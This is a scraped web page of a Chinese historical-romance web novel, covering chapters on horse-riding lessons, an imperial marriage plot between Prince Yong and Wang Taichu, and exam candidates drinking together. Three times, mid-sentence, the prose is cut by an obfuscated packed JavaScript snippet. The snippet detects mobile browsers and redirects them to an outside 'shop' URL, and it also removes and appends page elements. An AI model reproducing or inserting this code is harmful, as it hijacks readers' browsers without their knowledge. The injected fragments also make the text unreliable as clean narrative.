她总害怕自己会从马背上摔下来，昨日怕的是摔断腿，前日怕的是摔断手臂，今日索性怕起了摔断脖子。有好几次小马驹刚跑起来，她便开始吓得哇哇大叫，时间久了这马也开始偷起懒来，任凭刘聿洵怎么呼喝都懒得动，只能靠着自己拉着它绕着马场一圈圈地走。 二月的万安城不算暖和，如遇着风大的日子，户外的那点温度也教人心里发紧。 原以为刘聿洵会对王太初这样智慧难开的学生没几分耐心，可没想到这个堂堂在上的雍王殿下确是甚为享受，尤其是在王太初被吓得求饶的时候。 她明明如此惧怕死亡，可是却能为了自己义无反顾地回到万安城。 如果她一直学不会，他也可以一直牵着她走下去，在北城门看到她的那一刻，他就知道自己已经投降了。 “殿下，我问你陛下是不是真的不打算追究我了？” 见刘聿洵久未作答，王太初便俯下身子用手在他的眼前晃了晃。 “不仅如此，父皇还在议事殿夸奖了你，说你有勇有谋，堪当大任。” “这大任我可当不起，交给我那心怀天下的哥哥便是了，我从来只想当这盛世下的蛀虫。” 随着小马驹的脚步摇晃着脑袋，在刘聿洵看来，虽这几日正经事情全无进展，但王太初对这段时光确是十分享受。 “太初姑娘此言怕是自谦了，这些时日万安城内大大小小的事情，哪一件没有你王姑娘的参与。” 刘聿洵抬头看向骑坐在马背上的王太初，她的眼底笑盈盈的，仿似还像康王府初见时那般无忧无虑。可是刘聿洵却知道，她已经不再是当初的那个明州府的小姑娘了。 他知道万安城解除封锁之后，她还未曾踏入过和乐楼半步，他也知道她找人为那群漕夫找了墓地，托人给他们的家人捎去了钱财，她已经没有办法安心做这万安城里闲散的蛀虫了，或者说她一开始便不是。 “哦？那只是因为蛀虫也有多管闲事的时候罢了。”王太初淡淡地笑了笑，“不过现在好了，有大哥哥了。” “听礼部说王公子报考了今年的春闱，这点倒是让本王觉得奇怪，那日在城内分别之时，也丝毫未看出绍安兄有参加春闱之意。倒是像太初姑娘说的那般，我原以为绍安兄的志向是成为济世游侠呢。” 刘聿洵知道此时王太初说的便是王绍安参加春闱之事，这件事现下早已成了万安城朝廷的焦点，只不过大家议论的不是王绍安能不能高中，而是如何将其拉入自己的衙署，让其成为自己的同僚。 “说来哥哥还是听了殿下的话才决定参加春闱的。” “哦？”刘聿洵拉住缰绳，停下了脚步。 “哥哥说殿下言之有理，自己思来想去只有在这朝堂之上，才可定大计、济万民。”王太初抬头想了想，又补充道，“还说很多事仅凭自己之力也只能在事后补苴罅漏。倘若在朝堂之中能够事前预知祸端，才方为救民于及时。” “我何时同绍安兄说过这些。”他欣然一笑，又拉起缰绳牵着小马驹走了起来，“不过大庆子民如果能有绍安兄为他们筹谋，便也是他们的福气。当然还有父皇，能得如此干吏，定也是万分欣喜的。” “父亲也很是高兴。”说到此处王太初索性将自己的脚从马镫上拔了出来，自然垂到两侧，跟着马驹的步伐随意晃荡，“我原以为父亲担心哥哥为人处事不够圆滑，不适在朝中任职，所以才会一直以来由着哥哥，甚至我还觉着爹爹有些不愿意让哥哥做官。” 听闻此处，刘聿洵不免一笑。放眼朝堂，哪里还有比他王抃更不懂为官之道的人吗？不结党羽，不营私利，不懂得和光同尘，众擎易举的道理。可眼下，这样的人却忧心起了自己的儿子，可见这个王绍安是比之其父更不开窍之人。 “可后来听了爹爹同哥哥的对话我才发现，爹爹一直是看好哥哥的。爹爹说哥哥具备一个好官的品格。”话到此处，王太初像是被风沙迷了眼睛似的停下来揉了揉，等过了好一会才继续开口说道，“那就是忠君、利民、修身。” 忠君、利民、修身。 这六个字如同惊雷一般，在刘聿洵的心底炸响，让他刚才的想法如同一个笑话一般。 他看多了万安城内摸准气候、押宝下注的政治赌徒，听惯了明哲保身、虚与委蛇的为官歪理，已经很久没有听到忠君、爱民、修身这样的话了。 他震惊地被钉在原地，一时间竟不知如何应答。 “不过母亲若在世定不能答应了，母亲总说官场凶险、尔虞我诈最是不适合我们王家人。” “哦？王夫人竟还说过这般话？” 王太初的脚背有一下没一下地总能踢到自己拉着缰绳的手臂，刘聿洵也不恼，任由她这般肆意地晃动着双脚。 他可以想象这大概就是王夫人想要他们儿女过的生活，没有朝堂中的勾心斗角，党同伐异。 “太初姑娘如何想呢？可也觉得这样的生活不适合你们？” 王太初没有注意到此刻刘聿洵心境的变化，她不似眼前之人有弯弯绕绕的肠子，她向来直爽。 “爹爹同哥哥既然选择了入朝为官，那想必他们定是经过深思熟虑，也已经做好了万全的准备，合不合适向来都不打紧。” “那你呢？可有觉得万安城凶险？可有想过有朝一日离开万安城去过逍遥自在的生活？” “我自然是要去过逍遥自在的生活的。” 刘聿洵闻言，突然抓住王太初晃来晃去的脚，捧在手心，直勾勾地盯着她。 王太初原只想逗他一逗，说些让人伤心的话，却没想到大庭广众之下刘聿洵竟突然抓住了她的脚。 她惊慌地看了下周围，原本在栅栏之外奉命保护的李全胜和马夫此刻也默契地转过了头去。 这下王太初便更羞臊了，她用力甩着自己的脚，想要挣脱，可刘聿洵却握得更紧。 “放开我。”王太初不敢造次大声说话，只能俯下身来，凑近他，压低声音怒气冲冲地瞪着刘聿洵，“这样成何体统？” “王姑娘现下觉得我不成体统了，蓟门闸前郎情妾意的，可是姑娘你。” “那只是缓兵之计。”王太初别过脸去，试图坐起身来和刘聿洵保持距离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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没等她挣开，刘聿洵已一把将他搂进怀里，力道大得像是要将两人的骨头都揉到一起。 “那日北城门外，你并未承认是因我而来，今日我且再问王姑娘，那日，你是为了何人，这般不顾生死？”刘聿洵的语气中没有了平日的戏谑，倒渗出点委屈来。 “我说的是并非只因你而来。”到了现在心思细腻如王太初自是发现了刘聿洵今日的不同，“当然也包括你。” 王太初看惯了刘聿洵行事果断的样子，对眼前这个黏腻脆弱的他并不熟悉。 她轻轻推着他想要从他的怀中喘一口气，却又被他话语中溢出来的那一丝委屈打败，只能停住反手抱住他，轻拍后背以示安慰。 “我占几成？可是多数？”刘聿洵依旧不依不饶，虽松了一些手劲，但还是让王太初动弹不得。 “你今日怕是吃醉酒了吧。”面对得寸进尺的刘聿洵，她也没了耐心，索性用力一推，找了个空隙就挣脱了出来。 她后退几步，盯着有些失态的刘聿洵上下打量：“哪家酒楼的酒后劲如此大，在马场上溜达了半日才显出醉意来？” 他自然知道她是玩笑，但既然有了醉酒这个幌子他也就顺水推舟大胆了起来，索性就做起了胡乱吃醋的模样：“是几分？” 他站在原地，盯着王太初的眼睛，好似不听到自己想听的答案就无法罢休。 这倒是逗笑了王太初，她闲庭信步地绕着刘聿洵走了一圈，歪着脑袋上下打量了一番，也不着急回答他的问题。 过了好一会，她才痴痴地笑了起来，而后转身便跃上了马匹，居高临下地看着刘聿洵。 “实话告诉你，第一日我便学会纵马了，雍王殿下倒说说，我若只为学骑术，又何必在此陪你厮混这许多时日呢？” 说罢王太初便扬鞭纵马，在马场上飞奔起来，算作是回答了他的问题。 栅栏外的马夫吃惊地指着在马场上绕圈的王太初结结巴巴地开口：“这王姑娘什么时候学会的骑马？” 他吃惊地转头，想要从自己身边的李全胜处寻找答案，却正对上他一脸若有所思的神情。 31. 第八章 万安春闱（二） 会试期间和乐楼的生意也红火了起来。虽然江音如从未透露过王绍安和乐楼少东家的身份，却还是有南边的考生循名而来，想沾染大庆才子的才气，以求能在会试中顺利考中。 这才子到场了，万安城内那些喜欢附庸风雅的达官显贵自然也不会错过。更是频频聚首在和乐楼内，或对饮畅聊，或吟诗作对，毕竟今日这堂中名不见经传的稚气少年，明日就会登天子堂，成为大庆之喉舌。 这客人一多，加之王绍安需要准备应试，江音如便忙不过来了。等王太初再回到和乐楼帮忙的时候，发现堂前已多了个新面孔。 “这孩子叫贾少文，是越州府的考生，昨日找上门来的，说是没有住店的钱，想要靠着在此处打杂换个吃住，我看他可怜，便应下了，你可不要过度使唤他。” 王太初刚站到柜前，江音如便走过来嘱咐了起来，想来对自己平日里自己指使人做事的事情也是早有耳闻。 “会试在即，哥哥都已闭门在家潜心学业了，母亲既想帮他，就应让他在堂后温习功课才是，何苦在此处跑前跑后。” 王太初边说着边细细打量起穿梭在堂前的少年，只见他身材瘦小，但做起事来却十分麻利。 “我也是这般说的，可这孩子不肯。说什么既食君之禄，当为君效力，所以我同他商量了一下，白日里他在堂前为我干活，夜里在堂后温书休息。”像是怕那孩子听到不好意思似的，江音如特意凑近了些低声说道，“我考虑着也是白日里清闲一些，不至于累着孩子，所以你可不要凡事都找他，让他累着。” “知道了知道了，苦活累活我找的都是胖二哥，他最是该活动活动了。”王太初将声音压得更低，像是在取笑此时江音如的偷偷摸摸，“母亲放心，我定不会苦了这个孩子的。” “调皮，不过说起胖这事，这骑马本应最是劳累，怎么你反倒变得丰腴了？”江音如将王太初拉到跟前，假装仔细打量，脸上却露出了不怀好意的坏笑，“看来雍王殿下带我们小太初吃了不少好东西呢。” “母亲取笑我。”没料到会突然提起刘聿洵，王太初害羞地回过身去捂住脸。 那日马场之事，虽事发之时没有察觉，但事后想起却总是她让脸红心跳。 她本以为自己是敢爱敢恨、不拘俗套的性子，却不想那日之后自己竟羞赧得到今日还没法面对刘聿洵。 “我们太初竟也有害羞的时候。”看到王太初如此，江音如更是来了兴致，探头继续说道，“不知听了我这个消息会不会更觉得不好意思。” “是何消息？”王太初虽觉害羞却也好奇，急忙追问。 “我也是无意间听老爷同绍安说起，说是陛下在听闻你为了雍王义无反顾回万安城以后，玩笑中提起儿女亲家之事，似有赐婚的意思。” “赐婚？”想起那日刘聿洵的反常，现下王太初不免怀疑是不是他提前得到了消息，想要确定自己的心意。 自己的哥哥素来因为门第之别，不赞成自己和雍王来往，倒是自家爹爹对于此事的看法王太初还看不透。 权臣之女和当权皇子过从甚密，任外人怎么看总难免落下“结党营私”的话柄，纵使清白相交，也难堵悠悠众口。 自己的父亲向来极重声名清誉，理应早该像王绍安那般提点规劝，可面对自己和刘聿洵的相处，他虽从未表示支持，却也从未反对过。 如果真如母亲所言，陛下有赐婚的打算，父亲便不得不表态了。 “爹爹怎么说，可有说同意还是反对？” 王太初的反应出乎江音如的意料，原以为她会如刚才那般害羞，没想到这会儿她半点不害臊了，反而直截了当地追问起这件事的后续。 “后来你爹爹见我进去就收了声，如此说来倒像是防着我似的。”当时只因听到赐婚太过高兴，觉得天家赐婚，又是你情我愿的，自然没有不同意的道理。可现在回过头去想想，那日王抃和王绍安的反应也确实是古怪。 “母亲多虑了，说不定只是随意说起的八卦，如若真有赐婚之事，怎么可能我这当事人还未被通知到呢？” 王太初虽嘴上那么说着，心下却也是泛起了怀疑。 如若真已经赐婚，那圣旨必定会递到自己眼前，可见此事要不只是太宗的揶揄之词，要不还只是在商量的阶段，并未真正定下来。 但朝堂之上，再是亲近的君臣，也定没有拿自家儿女的婚事开玩笑的可能。再加之自家爹爹的性格严谨木讷，即使是君王恐怕也不会跟他开这种玩笑，那么更多的可能性便是他们还在商议此事。 如若真是如此，那自家爹爹的态度此刻也便显而易见了，他并不赞成，更甚者他也并不想让自己知晓此事，或许他还想用自己的方式把此事搪塞过去。 “也是，定是我听得不真切，否则这两厢情愿的好事有什么可避着我的呢？” 此时大堂内正好有一桌客人叫结账，江音如便顺手拿起手边的账本算了起来。 王太初退到柜台后，寻了张椅子坐下。待心神稍定，她才渐渐回过味来，此事最要紧的关节，终究还在自己心底，自己究竟是愿不愿意嫁给刘聿洵。 反观刘聿洵这边。 今日早朝，刘祀念及刘聿洵在万安瘟疫之时，维护万安城有功，加之以往的功绩，便将巡防营的掌兵之权，交给了他。 这巡防营原本是由兵部尚书郑岐玉代管，而郑岐玉本身又是刘聿洵的人，因此这个授命实际上对两位皇子的格局并无太大的影响。 然皇帝亲将这护卫京畿的巡防营授予刘聿洵，却也难免引人另作解读。 皇城之内，只有三支颇具规模的武装力量，其一是只向刘祀汇报的亲兵，其二是驻扎在万安城京郊的京营，剩下的便是负责护卫万安城的巡防营。 京营都督是太子刘聿恒的岳父，自然被归为太子党。可眼下太子妃薨逝，这翁婿关系是否还如往昔般稳固还不好断言。 这个时候刘祀竟然将巡防营实实在在地给到了刘聿洵，而不是假借郑岐玉之手。如此看来太宗想废太子而立雍王的意图是越来越明显了。 再说太子，这些时日一直以太子妃亡故悲痛难抑而告假。这也难免让人揣测，他此举究竟是真因太子妃之事而哀恸难禁，还是另有隐情？ “听说今日早朝陛下将巡防营交给了洵儿？” 凤仪殿内贵妃曹端惠正轻捻起一撮瑶台引香粉，细细填进镂空的“寿”字纹香模中。平日她侍香之时都不喜人在旁说话，因此刘聿洵奉旨入殿之后都只是坐在旁侧，并未开口。 “启禀母妃，是的。” “巡防营的职责是戍卫万安城，除了陛下的亲兵之外，这是离权力核心最近的武力，是陛下对你的信任和重用，我儿可是要认真对待，不可辜负了你父皇对你的倚重啊。” “儿子定不会辜负父皇和母妃。” “那便好，我儿带兵打仗的本事我从来都不担心。”曹端惠轻抬起手，伺候在旁的侍女立马递上了象牙片，让其将多余的香粉刮去，“今日唤你来，是眼下还有另一件事，你的父皇嘱咐我同你商议。” “此事和你的婚事有关，陛下要给你赐婚。”待将香模上的浮粉扫去，曹贵妃招了招手，让身旁的侍女去提那香模，自己则是坐到了旁侧喝起茶来。 “洵儿不好奇是何人？”见自己的儿子一直没有反应，曹贵妃只能自说自话追问。 “母妃可是对王家的女儿不满意？” 虽然外界都在传言刘聿洵对曹贵妃孝顺恭敬，他留在万安城也只是为了照顾身体欠佳的母妃，可多数的时候他们之间有的却只是像今天这样冷冰冰的对话。 “看来我儿知道是何许人了。只是为何会觉得我不满意呢？” “母妃向来于我之事，只看是否有利可图，是否于储位之争有助益。前几日闻我与王家有来往，您尚且还十分欣喜。若依常理，父皇赐婚，您自当即刻应允才是。然今日却为拖延时日，言称要与我商议。因此我猜想，母妃定是对此婚事不满。” 从进门到现在，直到此刻曹端惠才终于在刘聿洵的脸上捕捉到一丝细微的神情变动。 她的眉峰几不可察地蹙了一下，假装低头去看那香盘上的香篆，待平复下来才再开口说话。 “如果真如我儿猜测那般，洵儿可会遂了母妃的意，向你父皇去推了那婚事？” “母亲让我去推了婚事的理由是什么呢？结交权臣，培养自己的势力，得到储君之位，这不是母妃一直希望我做的事情吗？”刘聿洵轻蔑一笑，“如今整个朝堂谁人不知，通政使王抃是父皇的亲信之臣，论其才干和圣眷，日后未必没有拜相的可能，这样的亲家是母妃您从前最想要的，可现在为什么又不满意了呢？” “洵儿是在责问母妃吗？”曹端惠不动声色地挥了挥手，示意侍女将那香炉撤下，“那母亲也有一事好奇，这几年我一直苦口婆心劝你同周家姑娘缔结连理，你却总以君子不倚联姻权臣之女而图储位、觊神器为理由拒绝，可怎么今日碰到王家姑娘就失了往日的心气呢？” “此时与往昔不同了，赖长兴登闻鼓前被射杀，满朝文武皆怀疑是我所为，都察院的御使们到现在还揪着这件事不放，伺机便以此事说事，儿臣在朝中地位岌岌可危。” “既如此，西境都督的权势，难道还不足以庇佑我儿吗？元月自小便是我看着长大，周都督同郑尚书又是多年故交，知根知底，何故需要舍近求远？” “我向来只得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16354774|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兵部支持，如今要维持势力平衡，必须得争取朝堂之上文臣的支持才行。王抃素来忠勤干练，多得官员们的敬仰，如今局势险峻，我需得得到他的助力才可与太子抗衡。” “哦？忠勤干练？洵儿怕是没有说全吧。通政使王抃有的可不仅仅是忠勤干练，还有不附权贵，这样的人，如何会为我儿所用？届时王家不帮你，你反倒将周家给得罪了，那岂不是得不偿失？” “母妃多虑了，和周都督多年相处，他也全然不是攀附权势之人。今日我与他为了大庆共谋西境安稳，这才是与他最坚固的盟约，而非倚仗他的女儿。” “那王抃呢？” “如若我告诉母后，太子早有攀附王抃之心，可会改变母妃的想法？” “太子不会，太子又不是憨儿。他岂会不知陛下扶你上位，为的就是钳制他，忌惮他如今的权势。如若陛下刚拔擢王抃，他就攀附其势力，那岂不是搬起石头砸自己的脚？” “那是之前，在他尚还有身为吏部尚书的叔父，有身为京营都督的岳父之时。可如今不同了，太子妃薨逝，陈伯庸对太子的衷心必有所减损，说不定父皇并不介意此时太子能向王抃抛出橄榄枝。如若我拒绝了赐婚，说不定就会是刘聿恒。”刘聿洵见曹端惠没有说话，继续压迫道，“如果王抃真归顺太子，那我同太子之间就不是有无之异那么简单，而是损益之殊。” “真到那时，徇儿可同赵相结盟，赵普和太子积怨颇深，断没有重修旧好的可能。” 听闻此言，刘聿洵的眸中猝然闪过一丝厌恶，转瞬即逝，可肢体却也藏不住那份厌色，他端起茶盏一饮而尽，随后用力将其砸在案上，咬牙责问，“凤仪殿的奴才都是怎么当差的，连杯热茶都伺候不周全吗？” “奴才该死，奴才这就给殿下换盏茶。”吉祥一听，扑通跪倒在地，磕头认错，眼神却时不时地瞥向一旁的曹端惠。 曹端惠知道刘聿洵此时的邪火都是冲着自己，他最是忌讳自己将他和赵普放在一处。 “父皇素来最是忌惮赵普窃弄威权、僭夺皇权，母妃纵使对我与王氏联姻一事再有意见，也不能想出这样的拙策。” 此时侍女正端着一盏新做的茶从偏殿进来，刘聿洵站起身来，掸了掸坐皱的衣裳，接过侍女的茶盏，也是一饮而尽。 “今日母妃殿内燃的可是瑶台引？”刘聿洵走近香案，弯下要，深吸口气盯着如丝如缕的青烟淡淡开口，“民间都在议论，此香名贵至极，其料皆是稀世珍物，其中有一味东海麝香，更是从万里波涛外采运而来，耗费无算。天下人都以此歌颂父皇对母妃的感情，可只有我知道，母妃并不爱这瑶台引，甚至常因其中麝香而头痛难当。” 刘聿洵一面说着，一面直起身来，对着曹端惠拱手行礼：“母妃今日做错了，父皇为了维持朝廷平衡，苦心积虑布此棋局，你我皆为其中的棋子，是不被允许说不的。” 言罢，刘聿洵向曹端惠躬身行了一礼，而后缓步退出了凤仪殿。 曹端惠心里咯噔了一下，脸上闪过一丝自己竭尽全力伪装的假象被人戳破的愠怒。 待看着刘聿洵的身影完全消失在视线中，她脸上的愠色才减了几分，嘴角的那抹恼怒慢慢褪去，变成一声几不可闻的轻笑，甚至还带着些自嘲。 “将那瑶台引灭了吧。” “娘娘莫要将殿下的话放在心上。”吉祥挥了挥手示意侍女将那香案撤下，后绕到曹端惠身后伸手便按起了太阳穴。 “洵儿从未像今日那般冲撞过我。”曹端惠闭上眼睛，神色平静，“也从未像今日这般满口没有一句是实话的。” “殿下自小就有主意，凡事都有自己的打算，您看今日不就得了巡防营的差事吗？这样的好日子，娘娘应该高兴才是。” “吉祥说的对。总归今儿个是得了巡防营。”曹端惠笑了笑，“吉祥，你上回说王家姑娘的为人，如何说来着？” “口无遮拦、固执己见。” “看你，瞧着我不喜欢那姑娘便尽找些不好听的说，前回你可不是这么说的。你说她在明州的时候总爱帮衬贫苦百姓，心怀黎庶。在康王府极力维护自己开酒楼的继母，大战万安城那些贵女，事亲至孝。瘟疫肆行之时更是为了洵儿孤身下山，舍生忘死。怎么现下就成了口无遮拦、固执己见了？” “奴才哪有那识人的本事。”听闻此言，吉祥只能打哈哈。 “呵呵，倒也不用如此妄自菲薄。今日洵儿倒是有件事说对了，万安城内原本执棋的便只有陛下，也只能是陛下，你我都不可忤逆了去。但是王太初不同，你都说了她口无遮拦、固执已见，那就让她去触这逆麟吧。” 言罢，她招呼吉祥弯腰，而后在他耳边轻声交代了几句。 32. 第八章 万安春闱（三） 越接近春闱，万安城内的氛围便愈发紧张而热闹。 江音如和王太初商量着给了贾少文更多的时间温习功课，只要求他在后厨帮着洗碗，不再到堂前跑腿。 一来堂前奔走费神，于温习无益；二来后厨洗碗清净，趁此时光亦可温书片刻。 “少文，今日我家哥哥来楼里偷懒，邀你一起同食，你可有空闲？” 贾少文很是喜欢王太初，觉着这个姐姐不仅容貌秀丽，而且性格温良，对自己尤其好。每每外出归来，总不忘给自己带一些新奇可口的吃食。 他早就从伙计们的口中听闻和乐楼的少东家也在准备今年的春闱，甚至不时也有客官专门为了一睹少东家风姿而来。可在楼里打杂一月有余，他都未曾露过面。 他承认开始之时，对于这个同他一起参加春闱的贵公子心中确实是带着几分偏见的。 在越州府这样的公子哥儿他见多了，他们多数耗财博名，实则确是腹中空空，毫无真才实学的纨绔子弟。 可跟江音如和王太初越来越熟悉，他便觉得或许自己错了。有这样的母亲和妹妹，这样的家中是断不会出纨绔子弟的。 可虽是如此，他也知道尊卑之别，自己一个寒门书生，得到照顾已是万幸，又有何资格可以同主家少爷把酒言欢。 “谢谢太初姐姐，春闱将近，少文想多花费些时间在温书之上，就不去打扰王公子了。” “虽说春闱在即，可我看你成日闭门温书，未曾休息放松片刻，恐怕难有事半功倍之效。今日正好有你同试相邀，何不借着机会休憩一下。”说着王太初就走到了贾少文的跟前，夺过他手中的书册，看了一眼，轻轻笑道，“而且我这个哥哥颇具才学，定不会让少文弟弟失望的。” 话既说到此处，贾少文便没有了拒绝的理由。 他特意将自己母亲为了会试准备的那件粗布短袄提前穿上，走进二楼雅间。 二楼的雅间内除了王太初以外，另有两个书卷气的少年，其中一人眉宇之间同王太初有几分相似，想来便是她那个常挂在口的哥哥了。 “王大哥，晚生贾少文，久仰大名。” “少文，少文，说起来我也有个叫绍文的弟弟。”王绍安喃喃说笑着起身应了上来，“太初说你比我两都小，我便不客气当这兄长，唤你一声少文弟弟了。” 王绍安虽平日里不擅与人交往，但对颇有才气的书生却是能像自来熟那般。他早前就一直听王太初说起在和乐楼内帮忙的贾少文，说此人勤快识礼，年少博学，更是心怀家国之志，简直是个翻版的王绍安，定要自己见上一面。 “承蒙兄长错爱。” “既然这样，这里属我最年长，便也就随着唤少文一声少文弟弟了。”房间中的另一个书生扮相之人，此时也走上了前，向着贾少文行了个拱手礼，郑重介绍自己，“在下朱昌颐，万安城人氏。” “问朱兄好。” 厢房内，王绍安和朱昌颐虽已竭尽客气，然贾少文心中却仍觉有隔。他低头看了一眼自己身上那件靠着借了乡亲们好几块粗布才拼凑而成的粗布短袄，又瞧了瞧王绍安和朱昌颐身上那两身虽无金玉点缀，却浆烫得平平整整的棉麻长衫，便更觉疏远。 他本能地去寻找厢房内他唯一熟悉的王太初。 “你们两位大哥哥，可不要吓坏了我们少文弟弟。”王太初敏锐地发现了贾少文此时的不安，走了过来，手中还提着个酒壶，“少文莫要理睬他们，他们二人先前在画舫上便吃了酒，现在怕不是吃醉了，都争着当哥哥。” “今日好不容易绍安兄愿意出门同我畅饮一番，我岂能错过此机会。”朱昌颐像是喝了不少，也不等王太初阻挠，便攀上了贾少文的肩膀，将他揽到了桌前坐下，问道“少文弟弟可胜酒力？” 未等贾少文回答，朱昌颐已经自顾自地夺过了王太初手上的酒壶，颤颤巍巍地想要给贾少文斟酒。 “今日是让哥哥和少文休憩松快的，可不是让朱公子酗酒的。” 先前王太初便觉得朱昌颐有些醉了，便将这酒壶取了走，可不料此时一个疏忽竟又被抢了回去。 “松快休息是自然的，可若没有美酒相伴，如何能松快得了呢？” “昌颐兄今日有心事，太初就让他喝吧。” 王绍安素来海量，虽此刻已陪着朱昌颐从画舫喝到了和乐楼，也微有些醉意，却还是谦谦君子之态。 他接过朱昌颐手中的酒壶，笑道：“少文弟弟不用管他，若喝不了不喝便是。” “君子之交，以酒为媒。正所谓主不饮，客不欢，客不饮，主不安，你们都不陪我，那我只能先独饮一杯。” 从画舫到和乐楼王绍安早觉察出朱昌颐今日像是特意找酒喝那般，动不动就寻机会独饮。 “既然昌颐兄今日如此好兴致，我便陪着不醉不归。”王绍安也举起了酒杯抬头一饮而尽。 “昌颐哥哥既然都把话说到这个地步了，我若再不陪着饮一杯，岂不是真变成主不饮，客不欢了吗？” 王太初听完王绍安的解释，才发现朱昌颐今日的不同，便也不好阻挠，也陪着饮了一杯酒。 “那少文也陪着饮一杯，不然我这客人倒也让太初姐姐这个主人觉得不安了。” 贾少文见眼前劝酒的画面实在觉得滑稽，便也不自觉地开起了玩笑。 “好好好！少文弟弟爽快！”朱昌颐踉踉跄跄地走上前，道，“我朱某最喜欢同爽快之人相交，来来来，我们再干一杯。” 王太初组这个局原本就是为了让贾少文歇息休整一番，这几日看着这个瘦弱的少年在和乐楼里忙前忙后，劳心劳累，却只捡最便宜的吃食，她便不免心疼。 王绍安无趣，本也不指望他，现下来了个醉酒的朱昌颐，竟没几句话就让贾少文放松了下来。 王太初向来不是扫兴之人，遇到合得来之人也喜欢起哄瞎闹，见厢房内气氛不错，索性接过酒壶在旁忙着倒起了酒。 酒过三巡，在场每个人都有了些许醉意，就连始终掌握着酒壶的王太初也难幸免。 “我难过啊！我朱某难过啊！”早已喝醉趴在桌上休息的朱昌颐不知何时突然醒了过来，没来由地就是这样一句话。 “何事让昌颐兄如此难过？跟弟弟我说道说道，说不定弟弟能帮上忙。” 贾少文显然也是不胜酒力，此刻已全然没了刚进门时的拘谨，端着酒杯的步伐也是晃晃悠悠的。 此时整个厢房内，只有王绍安还能直挺挺地坐在那里。初入万安之时，他便已展示过自己的酒量，凡事他人敬酒，邀他陪上一杯，他都能面不改色心不跳地陪上一杯酒，因此也得了个称号叫做“陪一杯”。 他笑看着朱昌颐和贾少文又搂在了一起称兄道弟，便端起了一杯热茶递给王太初。 “少文弟弟！我的少文弟弟啊！说起来，这件事也只有你和绍安兄可以帮我了。”朱昌颐扶着桌案站起身来，正了正衣冠作揖道，“如今官场人人浑浑噩噩应卯以求保官，不求无功，但求无过。居其位者不谋其事，才使得本可早发现的瘟疫，迟迟未能上报，以致如今万安落到这般地步啊。” 还未说完，朱昌颐便又端起了桌上的酒盏，对着贾少文和王绍安又饮了一杯酒。 “这次会试绍安兄和少文弟弟若能高中，定要做那干吏能吏，一扫这官场的颓靡之气，朱某就拜托二位了。” “请昌颐兄放心，只要今次我能高中，便绝不会辜负陛下的期许、百姓的厚爱，更不会忘了昌颐兄今日之嘱托！往后若得入仕途，我定当竭尽所能，为国效力，行实政，求实效，为百姓谋福祉、解忧愁，断不敢有半分懈怠虚浮。” 贾少文的眼神热烈滚烫，整个人像蓄满了劲的弓，准备随时一飞冲天。 得到贾少文的首肯，朱昌颐心满意足地转过身面向王绍安，等着他的回答。 他的眼眶微微泛红，不知是因为酒意上涌熏红了双眼，还是被刚刚贾少文慷慨激昂的话语惹出了藏不住的赤诚。 王绍安为人处事向来如水般恬淡，他不喜欢慷慨激昂的誓词，气吞山河的豪言。可眼下他却无法忽视朱昌颐的眼神，他别过头去，不想被此时的情绪左右，可却又撞进了贾少文热烈滚烫的眼神，他觉得自己心中的那点忧思和热望轰然燃成了火。 “定不负朱兄所托。”王绍安站起身来，拱双手于胸前，对着朱昌颐行了一个躬身礼，这是王绍安从未宣口而出的誓言。 “三万三千五百一十八人呀！一共有三万三千五百一十八人呀！”听到王绍安的承诺，便好像再难的事情也会得到保证一般，憋了一夜的朱昌颐终于还是哭出了声，他在口中反复说到的数字，正是此次万安城瘟疫病逝的人数，这些都还是记录在案之人。那些没有记录在人口册上、流浪在外的人，尚且还不在此列。 王太初想开口安慰，又不知从何说起，那日也是在这个雅间，那群稚嫩的少年，跟着漕船而来，却也再没有机会回去。 太宗素来以宽仁治国，民为根本，可到了基层地方，却还是难免上宽下酷，政令脱节，让犯错者未经堂审定罪，便因害怕酷吏连坐，致自缢而亡。 她自小耳濡目染家国情怀，亦晓民间疾苦，原以为上下睽隔之弊，只在远隔万安城之地，却没想到在万安城之郊野，抑或万安城之街巷内，只要官吏存错，竟也能酿成此等大祸。 她终于在此时读懂了今夜朱昌颐的无可奈何，郁郁寡欢，也知道了为何自己的哥哥会在瘟疫之后毅然决然决定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16381003|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报考会试。 他虽现下未有解决吏治松弛、政情壅滞的能力，但他却能变成一个能吏干吏循吏，成为这万分之一。 “万安城瘟疫之事，不才也略有耳闻，却竟不知其中还有如此隐情。但既然昌颐兄对官场如今的颓靡之势如此看不惯，何不同我和绍安兄一起考取功名，为国为家尽你我的绵薄之力？”贾少文也是红了眼眶，但眼神却更加坚定。 “考取功名？”朱昌颐喃喃着陷入了沉思，“太子妃也时常劝说我考取功名，说我博览群书，承先贤之智，理应入朝为官，将书中所学化成经世济民的实策。” 提及谢世的太子妃，朱昌颐又不免难过伤怀，他提起酒杯斟满，而后倾过酒杯将酒洒在地上，抬手举过头顶，神色庄重肃穆。 